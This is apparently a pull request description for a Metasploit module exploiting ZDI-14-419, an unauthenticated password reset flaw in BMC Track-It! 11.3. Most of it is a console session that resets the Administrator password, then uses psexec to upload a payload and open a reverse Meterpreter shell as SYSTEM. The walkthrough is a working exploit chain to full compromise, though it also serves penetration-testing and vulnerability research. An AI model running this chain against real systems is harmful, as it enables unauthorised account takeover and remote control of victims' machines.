Create bmc_trackit_passwd_reset.rb

Hi,

This pull request adds an auxiliary module that exploits: http://www.zerodayinitiative.com/advisories/ZDI-14-419/

The vulnerability allows an unauthenticated user to change a local user's password, such as Administrator.

You may find a vulnerable installer here: http://volatileminds.net/Track-It!11.3.exe

Usage:
```
bperry@w00den-pickle:~/Projects/metasploit-framework$ ./msfconsole

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,            eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
        http://metasploit.pro


       =[ metasploit v4.9.0-dev [core:4.9 api:1.0] ]
+ -- --=[ 1300 exploits - 718 auxiliary - 202 post ]
+ -- --=[ 331 payloads - 33 encoders - 8 nops      ]

msf > use auxiliary/gather/bmc_trackit_pwd_reset 
msf auxiliary(bmc_trackit_pwd_reset) > set RHOST 192.168.1.99
RHOST => 192.168.1.99
msf auxiliary(bmc_trackit_pwd_reset) > show options

Module options (auxiliary/gather/bmc_trackit_pwd_reset):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DOMAIN                      no        The domain of the user. By default the local user's computer name will be autodetected
   LOCALUSER  Administrator    yes       The local user to change password for
   Proxies                     no        Use a proxy chain
   RHOST      192.168.1.99     yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /                yes       The path to BMC TrackIt!
   VHOST                       no        HTTP server virtual host

msf auxiliary(bmc_trackit_pwd_reset) > run

[*] Please run the psexec module using:
[*] WIN-R85ELSBASBS\Administrator:DbWuekzzTc!1
[*] Auxiliary module execution completed
msf auxiliary(bmc_trackit_pwd_reset) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.99
RHOST => 192.168.1.99
msf exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(psexec) > set SMBPass DbWuekzzTc!1
SMBPass => DbWuekzzTc!1
msf exploit(psexec) > exploit

[*] Started reverse handler on 192.168.1.31:4444 
[*] Connecting to the server...
[*] Authenticating to 192.168.1.99:445|WORKGROUP as user 'Administrator'...
[*] Uploading payload...
[*] Created \bmZETHWc.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.99[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.99[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (tYdAGjxe - "MqHgcLVuTuyQoSmZaDOE")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \bmZETHWc.exe...
[*] Sending stage (769024 bytes) to 192.168.1.99
[*] Meterpreter session 1 opened (192.168.1.31:4444 -> 192.168.1.99:49878) at 2014-12-10 18:57:36 -0600

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```